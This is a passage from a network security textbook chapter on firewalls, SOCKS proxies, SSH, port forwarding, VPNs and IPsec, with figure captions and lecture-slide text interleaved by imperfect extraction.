logging (of full packets or headers only) to support audit, recovery and forensic services.
Firewalls may be in a dedicated hardware unit or functionality in a multi-purpose device
(e.g., server, router, IP switch, wireless access point). A hybrid appliance may provide
multiple such functions plus intrusion detection and beyond-header inspection into pay-
loads, i.e., deep packet inspection as is common in application-level filters (Sect. 10.2)
to filter executables or malicious content. While hybrid appliances reduce the number of
security boxes, dedicated firewalls also have advantages:
1. smaller attack surface: reduced functionality avoids often-exploited features, and sim-
plifies “hardening” general-purpose devices;
2. specialist expertise: stand-alone firewalls are built, and in enterprise environments
administered by, specialized experts (rather than generic administrators);
3. architectural features: devices custom-designed as firewalls may have hardware ad-
vantages over general-purpose hosts (cf. Section 10.2 dual homing, fast interfaces);
4. absence of regular-user accounts: these often prioritize usability over security, e.g.,
allowing authentication with user-chosen passwords, whereas mandatory two-factor
authentication is more appropriate for hosts used exclusively by administrators;
5. physical isolation: dedicated inline devices provide defense-in-depth.
‡P ERSONAL AND DISTRIBUTED FIREWALLS . With host-based firewalls, a built-in
software-based firewall filters packets into and out of each individual host. All major oper-
ating systems support such personal firewall variants for end-user machines. An important
use case is for hosts on untrusted networks (e.g., mobile devices in hotels, coffee shops,
airports) beyond the protection of perimeter firewalls of enterprise networks or home-user
cable modems. One default-deny approach involves user prompts (“Allow or deny?”) on
first instances of inbound and outbound access requests, with responses used to build al-
lowlists and denylists to reduce further queries. Such personal firewalls allow user control
of network access, at the cost of inconvenient prompts accompanied by details often insuf-
ficient for a user to make informed choices—raising difficult tradeoff issues. Distributed
firewall variants for enterprise environments and servers involve centrally-defined poli-
cies distributed to individual hosts by an integrity-protected mechanism (e.g., digitally
288 Chapter 10. Firewalls and Tunnels
Figure 10.2: Circuit-level proxy firewall. If policy allows the connection, the circuit-level
proxy establishes a virtual circuit that fulfills the user view of the connection. Technically,
5
it receives packets on one TCP connection (TCP-1), with packet reassembly as usual, and
Ch.10. Circuit-level proxy firewall. A8er a policy decision to allow the connec<on, the circuit level proxy establishes a virtual circuit that
retransmits using a second TCP connection (TCP-2) to the target server (server 1). From
fulfills the user view of the connec<on, but in actuality receives packets on one TCP connec<on (TCP-1), complete with packet
reassembly, and retransmits using a second TCP connec<on (TCP-2) to the target server (server 1). From the server viewpoint,
the server viewpoint, the connection is to the proxy, not the end-user client.
the connec<on is to the proxy, not the end-user client.
(old aside, Ch.9 proxy fig) you can do SSH (supported by PuLy) through an HTTP proxy via the CONNECT method
all within-enterprise hosts are on an isolated network without Internet connectivity, and
considered “secure” for that reason; call them internal hosts. Consider hosts with Inter-
net connectivity as “insecure”; call them external hosts. Enterprise security staff equated
“security” with the lack of network connectivity between internal and external hosts; com-
HTTP response
munication between the two was possible by manual transfer via portable storage media,
but inconvenient. Thus users were unhappy. This led to the following manual solution.
M ANUAL GATEWAY SOLUTION . A first-generation solution involved user accounts
on a gateway machine. A host G (gateway firewall) is set up. It is connected to both the
internal network and the Internet, but does not allow direct connections between the two.5
Internal users are given accounts on G. Internet access is available by logging in as a
user on G (but not directly from an end-user machine U). To copy files (transfer content)
back to an end-user machine, now rather than using portable media, the physical transfer
is replaced by a (manually initiated) network transfer. Users log in to their account on
G, retrieve Internet content, have it stored on G; log out; then from their regular host U,
establish a U–G connection allowing file transfer from G to U. Similarly, to transfer a
file f from internal host U to external host X, a user (logged into U) copies f from U to
G, and then (after logging into G) copies from G to X. Enterprise security staff remain
happy, as there are still no direct connections from U to X. Users are less unhappy—they
can do this all electronically from their desk, but it is time-consuming.
F IREWALL PROXY WITH PROXY- AWARE CLIENTS . An improved solution from
the early 1990s remains the dominant variant of circuit-level proxy firewall (Fig. 10.2). It
involves a client-side library, a proxy server (daemon) sockd, and a client–daemon net-
work protocol called SOCKS. Collectively, they allow an internal user U to connect to a
firewall-resident proxy sockd that selectively provides access to Internet content on ex-
ternal hosts X, with proxied path: U-to-sockd, sockd-to-X. The proxy is transparent
in that U’s experience is the same as an application-level connection directly to X, and
no changes are required to external services (hosts X see sockd as the connection orig-
inator). This magic is possible by making pre-selected client applications SOCKS-aware,
Figure 10.3: Application-level gateway filters. The application-level gateway selects the
appropriate filter for application-specific filtering of data packets.
Ch.10. App-level gateway/filters. The applica9on-level gateway selects the appropriate applica9on-level filter for
meaning: the client application software is modified such that its library routines that in-
applica9on-specific filtering of data packets. (Main idea of circuit-level proxy was outbound connec9on; these filters
volve network seem most useful for filtering incoming traffic.)
sockets are replaced by corresponding routines from a SOCKS library, such
that client outbound connections are redirected to sockd on G. Performance costs are
low—on approving a connection and establishing a separate TCP connection with speci-
fied external host X, the proxy’s main task is copying bytes from received packets of one
completed proxy leg (TCP connection) to the other. Packets from the first TCP connec-
tion are reassembled before relaying.6 Connection details (TCP socket details, number
of bytes sent, username if provided) may be logged using syslog but unlike application-
level filters (below), no further content inspection or filtering occurs.
C IRCUIT- LEVEL PROXIES : SUMMARY. The above mechanism delivers on the en-
terprise goal of safely facilitating outbound connections. Internal users have transparent
access to Internet services consistent with an enterprise policy, without exposing internal
hosts to hostile connections from outside. The main cost is customization of pre-selected
client applications, and their distribution to internal users. As noted, circuit-level prox-
ies may be combined with packet filters to block inbound connections except, e.g., from
pre-authorized external sockets, or connections to restricted sets of internal sockets. The
circuit-level proxy itself may require proxy connections be authenticated (so as to re-
lay only policy-approved connections), beyond packet filter constraints on pre-approved
sockets and protocol details (vs. application content). The proxy gateway is mandatory
for connections—endpoints are on networks not otherwise connected. Note that circuit-
level proxies themselves (including SOCKS) do not provide inherent encryption services.7
Beyond proxying TCP connections, SOCKS also supports forwarding of UDP packets.
A PPLICATION - LEVEL FILTERS . As noted earlier, application-level gateways filter
traffic using specialized programs for a pre-determined set of applications (Figure 10.3).
These specialized programs may be considered “proxy processors” (but execute different
tasks than circuit-level proxies). Packets corresponding to a targeted application protocol
are directed to the appropriate customized filter, each of which leverages detailed under-
standing of a specific protocol to examine application-specific data (cf. Figure 10.14).
This may result in not only blocking packets entirely, but altering payloads—e.g., con-
6 This also mitigates some (beyond our scope) exploits involving intentional packet fragmentation.
7 SOCKS is, however, often combined with an encrypted tunnel, e.g., provided by SSH (Section 10.3).
10.2. Proxy firewalls and firewall architectures 291
tent inspection for an HTTP gateway/proxy may involve deleting malicious JavaScript
or rewriting URLs. Such “layer 7 firewalls” that alter payloads do intrusion prevention
(Chapter 11).
A PPLICATIONS TARGETED . The requirement for detailed knowledge of specific
applications limits the number of protocols for which application-specific filters are built,
and raises issues for proprietary application protocols whose details are not widely known.
Targeted applications include those most widely used, and those causing the biggest se-
curity problems. Among the first were specialized filters for remote login, file transfer,
and web protocols (TELNET, FTP and HTTP). Email is in its own category as a pri-
mary application to filter, and (independent of firewall technologies in use) is commonly
processed by multiple mail-specific gateways on the path from originator to recipient, in-
cluding to filter spam and to remove malicious embedded content and attachments. Mail
filters may remove Microsoft Word macros (cf. macro viruses, Chapter 7), or executables.
Regarding performance, examining application-level content implies longer processing
times, partially mitigated by architectures with dedicated processors per application type.
BASTION HOSTS AND DUAL - HOMED HOSTS . Firewalls that serve as gateways
between internal subnetworks are called internal firewalls. These (and DMZs below)
support the principle of DEFENSE - IN - DEPTH (P13), allowing management of sensitive
subnetworks, e.g., to isolate (contain) test/laboratory networks. Borrowing terminology
from medieval castles–where a bastion is a fortified cornerpoint or angled wall projec-
tion such that defensive firepower can be positioned in multiple directions—a bastion
host, in a multi-component firewall, is a defensive host exposed to a hostile network.
While designed to protect the internal network, it is itself exposed (e.g., behind only a
screening router), and thus should be hardened (locked down) by disabling all interfaces,
access points, APIs and services not essential to protecting the internal network or fa-
cilitating controlled Internet access for internal hosts. A dual-homed host is a computer
with two distinct network interfaces, and correspondingly two network addresses; multi-
homed hosts have one IP address per interface. If routing functionality between the two
interfaces is disabled, a dual-homed host is suitable for a circuit-level proxy—physically
ensuring the absence of direct connections between an external and internal network. A
dual-homed host may serve as a single-host (one-component) firewall to an external net-
work, but more commonly is part of a multi-component firewall architecture.
E NTERPRISE FIREWALL ARCHITECTURES . As a minimally functional enterprise
firewall, a single screening router (router with packet filtering) offers basic protection but
limited configurability. A slightly more functional firewall has a screening router and
a bastion host. The screening router is on the Internet-facing side of the bastion host,
which protects the internal network and receives incoming connections (e.g., email and
DNS queries about enterprise addresses). A more comprehensive architecture, providing
an outer layer in a DEFENSE - IN - DEPTH (P13) strategy, uses a perimeter network called a
network DMZ (demilitarized zone)—a subnetwork between an external network (hostile)
and the internal network to be protected. To follow the principle of LEAST- PRIVILEGE
(P6), the types of traffic (protocols) allowed within the DMZ should also be minimized.
One such architectural design (Figure 10.4) consists of a bastion host between a first
292 Chapter 10. Firewalls and Tunnels
(e.g., scp, sftp), and general access by a local host to remote services.
R EMOTE SHELL VIA SSH. Figure 10.5 depicts use of SSH for a remote shell. The
user (local host) ends up with a terminal interface and command prompt for an interac-
tive shell running on the remote machine. The shell may be thought of as using standard
input/output streams (stdin, stdout, stderr) to communicate with the SSH daemon
(sshd), which relays traffic to SSH client software (ssh). Thus ssh and sshd work as
partners at client and server sides (local and remote ends). By this design, remote appli-
cations need not be customized to work with SSH (i.e., need not be “SSH-aware”).
remote
local host
host
and X11 sessions, below). After a channel is defined (set up), a single remote program
can be started and associated with it.
SSH CLIENT AUTHENTICATION . During session negotiation, the SSH server de-
clares which client authentication methods its SSH clients may use. While additional
options may be supported, common options include the following:
• client password (static, or one-time passwords);
• Kerberos ticket obtained from a Kerberos server (Chapter 4); and
• client public key (described next).8
A typical SSH client authentication process for the case of client public keys is as follows:
i) The server receives from the client the client public key, as well as the client’s signature
(using the matching private key) over pre-specified data including a session ID from
the transport layer.
ii) The server checks that two conditions hold—the client public key is on a list of server-
recognized (pre-registered) keys; and the received signature is valid relative to this
public key and the data including session ID.
SSH SERVER AUTHENTICATION : ESTABLISHING TRUST IN HOST KEY. Server
authentication involves a server public key (SSH host key), and standard protocols for
using a recognized public key for authenticated key establishment.9 This requires that
the client recognize (trust) the host key. In non-business uses generally lacking support-
ing infrastructure, a relatively weak common approach is trust on first use (blind TOFU,
Chapter 8); this provides protection against passive attackers. To also preclude active
middle-person attacks (where an attacker substitutes a fraudulent host key), the end-user
can cross-check the fingerprint (Section 8.2) of the host key, e.g., manually check that a
locally computed hash of the offered host key matches a hash thereof obtained over an in-
dependent channel. (Enforcement of such a check is problematic in practice; many users
skip this step even if asked to do it.) In business uses, where a requirement for higher
security justifies added costs, an enterprise may make such cross-checks corporate pol-
icy and take steps aiming to increase user compliance, but the preferred alternative is an
infrastructure-supported (automated) method to trust SSH server keys (Model 2 below).
T RUST MODELS FOR SSH HOST KEYS . The above motivates two models:
• Model 1 (client database of SSH server keys). On first connection to an SSH server, a
client is offered a server host key. If the client manually accepts it as trusted (with or
without a cross-check), the key, paired with a server ID (e.g., URL or domain) is stored
in a local client database for future use as a “trusted” SSH server key.
• Model 2 (CA-certified SSH server keys). Here one or more CA verification public keys
are configured into the SSH client (perhaps via a local file), and used to verify offered
SSH host keys. This resembles TLS use of the CA/browser trust model (Chapter 8),
but there, client (browser) trust is pre-configured by browser vendors, and generally
8 Conformant software must support the client public-key option, but all clients need not have public keys.
9 TLS set-up (Chapter 9) similarly uses a recognized server public key to establish a fresh session key.
10.3. SSH: Secure Shell 295
local remote
(case A ≠ L) host: L host: R (case B ≠ R)
host A app host A app host B server host B server
port D port D
port C listen decrypt then
SSH tunnel deliver
fwd ssh sshd
Figure 10.6: SSH local port forwarding. An application on host A historically connects
over theCh.10. SSH port forwarding (local forwarding). Useful for a legacy applica=on
Internet to port D on a distinct host B. To secure this, an SSH tunnel is set up
betweenthat does not secure its own traffic. L and R refer to the hosts of ssh, sshd
ssh on host L and sshd on host R, with ssh configured to listen on a local port
C, whichsoBware resp. Note that the origina=ng applica=on, and the target server, may
the app is then directed to send data to; such data ends up being received by
sshd andbe on machines A, B dis=nct from L, R in the general case. In the common case
forwarded as desired. A mnemonic mapping of the command-line syntax to
(shown) where A=L and B=R, there is no concern about the ini=al and final legs
this diagram is: ssh -L portC:hostB:portD hostR. By default, ssh assumes that the
being unencrypted. Nota=on: port ``c” for listening port on ssh client, ``d” for
application using the SSH tunnel is on the same host as the ssh client, i.e., A = L.
listening port on final des=na=on (target server host). The case A != L requires
a special flag in ssh (Snader, p.224), for safety, so default is A=L. Without SSH,
the host A app simply sends data to hostB:portD (if e.g., over HTTP, then would
designed to facilitate access to a maximum number of sites by a maximum number of
be unencrypted for a typical legacy app); instead, now sends to hostL:portC.
users. In contrast for SSH, an enterprise or other host of an SSH server may intend
access for only a restricted set of authorized users (e.g., employees and partners), and
thus any CA infrastructure used may be far less global (and easier to manage).
‡SSH USER AUTHENTICATION ( METHOD CONFUSION ). When the client public-key
method is used, the matching private key is often stored in software at the client, protected
under a passphrase or password-derived key. The user would then typically be prompted
to enter a password to allow private-key access. Depending on the user interface, this may
cause confusion on whether user authentication employs password or public key.
SSH PORT FORWARDING . SSH uses port forwarding of TCP ports to redirect
data from unsecured (e.g., legacy) applications through a pre-established SSH connection
(SSH tunnel). The application would otherwise send cleartext over a TCP/IP connection.
To understand port forwarding (Fig. 10.6), consider the command syntax:
ssh -L listen port:host:hostport sshd host
This invokes the local client (ssh) to set up an SSH connection to a daemon (sshd) on
sshd host, establishing the SSH tunnel. The “-L” option and its argument results in ssh
listening for data sent to listen port on the local host, and sending it through the SSH
tunnel and then on to its final application destination, host:hostport. The application
wishing to use the tunnel must then be configured to send data (connect) to listen port.
That data, now redirected through the ssh-sshd tunnel from the local host to sshd host,
is decrypted by sshd, and relayed to host:hostport (which in the simplest case is also
on sshd host; otherwise, now-plaintext data is no longer SSH-protected over its final leg,
e.g., on the local network), where the application data is consumed. This is (L) local port
forwarding, or tunneling a port. The analogous process to request forwarding of ports on
a remote SSH host is called (R) remote port forwarding.
‡Exercise (Remote port forwarding). Draw a diagram like Fig. 10.6 for remote port
forwarding, and explain the corresponding command-line command (hint: [27, p. 224]).
296 Chapter 10. Firewalls and Tunnels
remote
local host: R
host: L
H OW SCP WORKS . Figure 10.7 illustrates the design of SCP. For a user on host L
to transfer file1.txt to host R using SCP, the syntax is:
scp file1.txt R
This results in the SCP software client scp (L) forking an SSH child process on L; issuing
to it an SSH command starting a remote copy of SCP on R; and with that command,
sending R also the embedded command: scp -t file1.txt.10 On R, a daemon sshd is
listening and a copy of scp (dormant) is available. The coordinating pair ssh-sshd set up
an SSH tunnel, and the local and remote SCP agents use the tunnel to transfer the file.
‡SSH X11 FORWARDING . SSH likewise supports forwarding of X11 connections.
This refers to a windowing system for bitmap displays, the X Window System (version
11), specifically designed for use over network connections to facilitate remote graphical
user interfaces (GUIs). An X server, running on a user’s local machine with graphical
display resources (and keyboard and mouse), is used for local display and input-output
for an X (client) program running on a remote (network) computer. X allows a program
to run on a remote machine with GUI forwarded to a machine physically in front of a user.
‡Exercise (SSH host-based client authentication). A further SSH client authentication
method specified in RFC 4252 is host-based (client) authentication. It involves a client-
side signature, in this case using a private key for the client host machine as a whole (rather
than corresponding to a specific user thereon); the server must, in advance, have informa-
tion allowing it to recognize the client public key as authorized. This method is sometimes
combined with requiring that the client is also allowed to log in to the server according
to a .rhosts file on the server (per “trusted” login hosts, below). Discuss advantages and
disadvantages of this method. (Hint: [37]; for more insight, [41, p.502].)
‡Exercise (SSH and secure file transfer). In a table, briefly summarize and compare
the security-related properties and functionality of the following:
10 The -t flag is typically omitted from user documentation, as it is not meant for use by end-users. The
flag tells the receiving scp program that it is a remote scp instance that will be receiving a file to be stored
using the specified filename.
10.4. VPNs and encrypted tunnels (general concepts) 297
a) historical Simple File Transfer Protocol (first SFTP, per RFC 913)
b) rcp of old Unix systems
c) scp (SSH replacement of rcp)
d) ftp and its TLS-based extension ftps (RFC 4217)
e) sftp (i.e., SSH FTP, the second SFTP, beyond that of part a)
‡Example (PuTTY: SSH client tools). PuTTY is a popular open-source package avail-
able for most operating systems. The core functionality is secure remote sessions, via
SSH replacements of the standard network protocols (rsh, telnet, rlogin), typically
also including scp and sftp—thus all the secure replacements listed in Table 10.2.
‡“ TRUSTED ” LOGIN HOSTS : MECHANISM . Historical tools (with Unix origins)
sent cleartext passwords for remote login (rlogin) and remote execution of commands
(rsh). For convenience, passwords could be omitted for connection requests from hosts
(generally in the same local network) designated as “trusted” in a root-owned or per-user
special file on the machine being connected to. Given a list of hosts in /etc/hosts.equiv,
requests asserted to be from one of these were given access with the authority of the local
userid (if it exists) matching the userid asserted. For <remote host, remote user> pairs
included in the home directory file .rhosts of an individual user, requests from such a pair
were granted access under the local userid of that individual. (Host-userid pairs could also
be specified in /etc/hosts.equiv, but this was uncommon.)
‡“ TRUSTED ” LOGIN HOSTS : DANGERS . The above trusted-hosts mechanism is
now strongly discouraged and often disabled, but remains useful to know both as an
example of a risky practice, and to understand the context in which SSH was created.
The mechanism gives, to an attacker having gained access to one account, password-free
access to other machines that, by this mechanism, trust the first account (or its host).
Such other machines themselves may be trusted by a further set of machines, and so
on. Such (pre-granted, unauthenticated) transitive trust breaks principle P5 (ISOLATED -
COMPARTMENTS ), and compounds the failure to follow P6 ( LEAST- PRIVILEGE). As a
concrete example, this trust mechanism was exploited by the Morris worm (Chapter 7).
‡P ORT 22 FOR SSH. SSH inventor Tatu Ylönen requested port 22 be dedicated for
SSH, and the request was granted. He relates:11 I wrote the initial version of SSH (Secure
Shell) in Spring 1995. It was a time when telnet and FTP were widely used. Anyway, I
designed SSH to replace both telnet (port 23) and ftp (port 21). Port 22 was free. It was
conveniently between the ports for telnet and ftp.
However, that breaks existing networking protocols, which rely on plaintext header fields
to allow packet processing, forwarding and delivery. Thus if packet header fields are en-
crypted, the encrypted data must be repackaged as a payload, preceded by a new header
that can in turn be removed by networking software at the destination. Alternatively, pay-
load data alone can be protected (e.g., by authenticated encryption), in which case existing
networking protocols are not disturbed. This leads to strategies including tunneling.
T UNNELING . In the networking context, tunneling refers to one data stream’s journey
(the inner) being facilitated by another; the imagery is of a tunnel. Contrary to standard
network stack protocol design, where protocols lower in the stack (Fig. 10.10, p.300) carry
payloads of higher-level protocols (Fig. 10.14), tunneling may also involve one protocol
carrying a same-level protocol. The technical means is (as in standard protocol design)
encapsulation of one protocol by another—a first protocol (header plus payload) is the
payload of a second, the second prefixing a new (outer) header. Viewing the first protocol
as having two parts, a letter body surrounded by an envelope (which serves to provide a
final address), encapsulation puts a second envelope (with interim destination) around the
first. Not all tunnels provide security, but security tunnels allow secure transit via pub-
lic/untrusted channels (Fig. 10.8). Two widely used technologies often viewed as security
tunnels are the relatively lightweight SSH (Sect. 10.3), and heavier-weight IPsec (Sect.
10.5). The idea is that once a tunnel is set up, applications (and their users) transparently
enjoy its security benefits without requiring or experiencing changes to those existing ap-
plications; security-related details disappear by the time the application data is consumed.
Encrypted tunnels set up this way are used to secure data (including from legacy proto-
cols) that transits untrusted networks, and for VPNs as discussed next.
V IRTUAL PRIVATE NETWORKS . A (physical) private network is a network intended
for access only by trusted users, with security (e.g., confidentiality, integrity) relying on
a network architecture providing physical isolation. Examples are local area networks
internal to an enterprise, and home networks meant for private use. A virtual private net-
work (VPN), often used by enterprise organizations, is a private network typically unit-
ing physically distant users or subnetworks, secured not by physical isolation but use of
encrypted tunnels and special-purpose protocols (e.g., authentication-based access con-
trol), software, and hardware including firewalls or gateways. Virtual here suggests use of
shared public links (secured by cryptography), whereas historically private networks in-
volved costly exclusive-access leasing, from telecommunications companies, of dedicated
client server
encrypted tunnel through
untrusted Internet
plaintext plaintext
endpoints encrypt/decrypt
data sent over TCP/IP
Figure 10.8: Encrypted tunnel (concept). To avoid breaking pre-existing protocols, the
tunneling protocol must preserve packet header data used for routing and middlebox (i.e.,
non-endpoint) processing.
a) Transport mode
host A host B
b) Tunnel mode
protected by VPN not protected by VPN
intranet A intranet B
host with
in-host gateway
Figure 10.9: VPN designs. (a) Transport mode is host to host (single hosts), still deliver-
Ch.10. IPsec use cases. Case (a) is not a VPN (not intranet access, just one host to one
ing a payload via an encrypted tunnel in the sense of Fig. 10.8. (b) Tunnel mode involves
host), but the IP payload goes over an encrypted tunnel in the sense of Figure 10.4.
network gateways. In the in-host gateway case, one end has a within-host final hop. In-
Official “tunnel mode” cases are VPN uses. An intranet is an internal (within-enterprise)
tranet A, on the enterprise side of a gateway, is an internal enterprise network. Intranet B
network. The in-host gateway does an internal delivery to its host.
may be a second enterprise network, or a remote employee’s home network.
300 Chapter 10. Firewalls and Tunnels
IP header
MAC covers
outer source,
Next_header
Payload_len Reserved
des@na@on
SPI (security parameters index) addresses
AH
Sequence_number but omits
MAC for authen@ca@on (integrity check) outer IP
header fields
that change
IPsec payload in transit
(e.g., TTL)
Figure 10.11: IPsec Authentication Header (AH) field view, for both transport and
Ch. 10. AH format of IPsec (field view, mode 1 and mode 2). AH is the Authen@ca@on Header.
tunnel modes. Next header identifies the protocol of the AH payload (e.g., TCP=6).
Next_header iden@fies the protocol of the AH payload (e.g., TCP=6). Payload_len is used to
Payload len is used to calculate the length of the AH header. SPI identifies the Security
calculate the length of the AH header. SPI iden@fies the Security Associa@on.
Association. Sequence number allows replay protection (if enabled).
Sequence_number allows replay protec@on (if enabled).
bits 0 -7 8-15 16-23 24-31
IP header
MAC
header Sequence_number computed
over
IPsec payload full ESP
(typically ENCRYPTED) packet
excluding
MAC field
Padding (related to cipher blocklength)
itself
ESP Padding_len Next_header
trailer MAC for authenAcaAon (integrity check)
Figure 10.12: IPsec Encapsulating Security Payload (ESP) field view, for both transport
Ch. 10. ESP format of IPsec (field view, mode 1 and mode 2). ESP is the EncapsulaAng Security
and Payload. SPI idenAfies the Security AssociaAon. Sequence_number allows replay protecAon (if
tunnel modes. SPI identifies the Security Association. Sequence number allows
enabled). Next_header indicates the type of data in the ENCRYPTED field (ENCRYPTED may
replay protection (if enabled). Next header (which may include a crypto IV or Initializa-
tioninclude a crypto IV or IniAalizaAon Vector). A payload length field is not needed since the ESP
Vector) indicates the type of data in the ENCRYPTED field. A payload length field
header is fixed at two 32- bit words, and the length of the IPsec payload (which is the same as
is not needed, as the ESP header is fixed at two 32-bit words, and the length of the IPsec
that of the original payload) is specified in the IP header.
payload (which is the same as that of the original payload) is specified in the IP header.
and optional replay protection). However in the ESP case, the MAC does not cover any
IP header fields. Figure 10.12 shows how ESP fields are laid out within an IP packet.
IP SEC : TRANSPORT MODE . AH and ESP can each operate in two modes (Table
10.3, page 299). IPsec transport mode is used to provide an end-to-end VPN from one
host to another host. As shown in Fig. 10.13b, for transport mode the IPsec header is
inserted between the original IP header and the original IP payload. Here the original
302 Chapter 10. Firewalls and Tunnels
IP header is transported (but not tunneled), e.g., when used with ESP, the original IP
payload (but not the original IP header) is encrypted as the “IPsec payload”. Note that
transport mode cannot be used if one endpoint is a network, as the resulting IPsec packet
has only one IP header per Fig. 10.13b; thus there would be no IP address available for
a second-stage delivery (after using the one destination IP address to reach the network
gateway).
is not provided. The delivering gateway forwards the inner packet to its end destination
(host), using the remaining IP header (inner packet) after the outer IP header and IPsec
header/trailer are consumed (removed) by the gateway. In the second case, VPN function-
ality built into the remote host software functions as an “in-host network gateway”. Figure
10.13c shows the IPsec packet structure for tunnel mode: the entire original IP datagram
(including the IP header) becomes the IPsec payload, preceded by an IPsec header, pre-
ceded by a new (outer) IP header. Thus there is encapsulation of the (entire) original IP
datagram, i.e., tunneling. In particular, this is an IP-in-IP tunnel.
‡Exercise (IPsec anti-replay). a) Explain how sequence numbers in AH and ESP
headers are used in a sliding receive window method for IPsec’s anti-replay service (hint:
[17], or [27, pages 328–330]). b) Explain why this network-layer anti-replay mecha-
nism is more complicated than use of (implicit) sequence numbers for anti-replay in SSH,
where datagrams are carried with TCP delivery guarantees (hint: [27] again).
‡IP SEC CHALLENGES AND DEPLOYMENT. IPsec’s configuration options offer
great flexibility. In turn, IPsec is described as “heavyweight” with corresponding disad-
vantages: (a) Its large code base, options and complexity imply that running an IPsec VPN
12 AH and ESP can each operate in tunnel mode or transport; a packet-level view is shown in Fig. 10.13.
10.6. ‡Background: networking and TCP/IP 303
for the recipient). A 16-bit length field allows an IP datagram up to 65, 535 bytes. Physical
networks composing each hop deliver data in units called packets with size limit denoted
by a maximum transmission unit (MTU), e.g., the maximum Ethernet payload is 1500
bytes. A datagram exceeding an MTU will be broken into fragments that fit within data
frames; for reassembly, a fragment offset header field indicates the offset into the original
datagram. Thus not all datagrams can be sent as single packets, but each packet is a
datagram that can be independently delivered, and a packet may be a fragment of a larger
datagram.
TCP AND UDP. IP datagrams are the network-layer means for transmitting TCP,
UDP, and (below) ICMP data. TCP (Transmission Control Protocol) and UDP (User
Datagram Protocol) are distinct transport-layer protocols for transferring data between
hosts. UDP is termed connectionless (as is IP): it provides unidirectional delivery of
datagrams as distinct events, with no state maintained, no guarantee of delivery, and no
removal of duplicated packets. In contrast, TCP is connection-oriented: it provides re-
liable bi-directional flows of bytes, with data delivered in order to the upper layers, and
if delivery guarantees cannot be met, a connection is terminated with error messages. A
TCP segment is the payload of an IP datagram, i.e., the content beyond the IP header (Fig.
10.14; compare to Fig. 10.10 on page 300). The TCP payload data in turn is application
protocol data, e.g., for HTTP, FTP, SMTP (Simple Mail Transfer Protocol).
P ORTS AND SOCKETS . Ports allow servers to host more than one service; the trans-
port layer delivers data units to the appropriate application (service). A port number is
16 bits. A server offers a service by setting up a program (network daemon) to “listen”
on a given port and process requests received. On some systems, binding services to
ports 0–1023 requires special privileges; these are used by convention by well-known net-
work protocols including HTTP (port 80), HTTPS (443), SMTP email relay (25), DNS
(53), and email retrieval (110 POP3, 143 IMAP). Ports 1024–65,535 are typically unpriv-
ileged. Clients allocate short-lived ports, often in the range 1024-5000, for their end of
TCP connections (leaving ports above 5000 for lesser-known services). An <IP address,
port number> pair identifies an IP socket. A TCP connection connects source and desti-
nation sockets. Software accesses sockets via file descriptors. UDP has a distinct set of
analogous ports, but being connectionless, only destination sockets are used.
TCP HEADER , TCP CONNECTION SET- UP. Figure 10.15 shows a TCP header,
including flag bits. Prior to data transfer, TCP connection set-up requires three messages
with headers but no data. The client originates with a SYN message, i.e., SYN flag set
(SYN=1, ACK=0); the server responds with SYN=1, ACK=1 (i.e., both flags set); the client
responds with SYN=0, ACK=1. (So ACK=0 only in the initial connection request. In on-
going messages after set-up, the ACK flag is set (ACK=1 in this notation). Thus a firewall
may use the criteria ACK=0 to distinguish, and deny, inbound TCP connection requests.)
This sequence SYN, SYN-ACK, ACK is the three-way handshake; details are given in Sec-
tion 11.6. Connection termination begins by one end sending a packet with FIN (finish) bit
set (FIN=1); the other acknowledges, likewise sends a FIN, and awaits acknowledgement.
This is called an orderly release. Termination alternatively results from use of the reset
flag, RST (abortive release).
10.6. ‡Background: networking and TCP/IP 305
bit 0 31
version hdrlen type of service total length (bytes)
IP header identification flags (3) + fragment offset (13)
(20 bytes) time to live protocol checksum (covers IP header)
source address
destination address
bit 0 31
source port desOnaOon port flag bits in word 4
20 sequence number F(IN): finish
byte S(YN): synchronize
acknowledgement number
TCP R(ST): reset
header d-offset r r r o o o U A P R S F receive window size (bytes)
P(SH): push
TCP checksum urgent pointer A(CK): acknowledge
data (TCP payload) U(RG): urgent
o(ther)
(If d-offset > 5, the data is preceded by an op#ons field) r(eserved)
Figure 10.15: TCP header. The 4-bit data offset (d-offset) specifies the number of
32-bit words preceding the data. A flag bit of 1 is set (on); 0 is off. Other flag bits beyond
Ch. 10. TCP header. The data offset (d-offset) is a 4-bit field specifying the number of
our scope are NS (ECN-nonce), CWR (congestion window reduced), and ECE (ECN-echo).
32-bit header words preceding the data. Flag bits with value 1 are on (set) ; 0 is off.
Other flag bits (o) beyond our scope are
The window size advertises how many bytes the receiver will accept, relative to the byte
NS (ECN-nonce), CWR (congesOon window reduced), and ECE (ECN-echo).
specified in acknowledgement number; values larger than 216 − 1 bytes are possible by
pre-negotiating a window scale option.
body (payload) of an IP datagram (cf. Fig. 10.14) after an IP header, the body a sin-
gle 32-bit word (8-bit type, 8-bit code, 16-bit checksum; no source or destination ports)
plus further content depending on type and code. Example ICMP message types are
3/destination unreachable (a packet cannot be delivered), 5/redirect (advising a
far-end router to choose a different route), 8/echo request (used by the ping utility, to
test whether a host can be reached; the receiving host is requested to respond with an
306 Chapter 10. Firewalls and Tunnels
ICMP 0/echo reply), and 11/time exceeded (TTL reached 0). As a basic connectivity
test between TCP/IP hosts, ping is a standard way to check whether an IP address is pop-
ulated by an active host; sending ICMP echo requests to a set of addresses is called a ping
sweep. Firewalls often filter ICMP messages based on their ICMP message type and code
fields.
[1] A. Abdou, D. Barrera, and P. C. van Oorschot. What lies beneath? Analyzing automated SSH bruteforce
attacks. In Tech. and Practice of Passwords—9th Int’l Conf. (PASSWORDS 2015), pages 72–91, 2015.
[2] B. Aboba and W. Dixon. RFC 3715: IPsec-Network Address Translation (NAT) Compatibility Re-
quirements, Mar. 2004. Informational.
[3] W. Aiello, S. M. Bellovin, M. Blaze, J. Ioannidis, O. Reingold, R. Canetti, and A. D. Keromytis.
Efficient, DoS-resistant, secure key exchange for Internet protocols. In ACM Comp. & Comm. Security
(CCS), pages 48–58, 2002. Journal version: ACM TISSEC, 2004.
[4] T. Aura, M. Roe, and A. Mohammed. Experiences with host-to-host IPsec. In Security Protocols
Workshop, 2005. Pages 3–22, and 23–30 for transcript of discussion, in Springer LNCS 4631 (2007).
[5] R. Bejtlich. Extrusion Detection: Security Monitoring for Internal Intrusions. Addison-Wesley, 2005.
[6] M. Blaze, J. Ioannidis, and A. D. Keromytis. Trust management for IPsec. In Netw. Dist. Sys. Security
(NDSS), 2001. Journal version: ACM TISSEC, 2002.
[7] D. B. Chapman. Network (in)security through IP packet filtering. In Proc. Summer USENIX Technical
Conf., 1992.
[8] W. R. Cheswick, S. M. Bellovin, and A. D. Rubin. Firewalls and Internet Security: Repelling the Wily
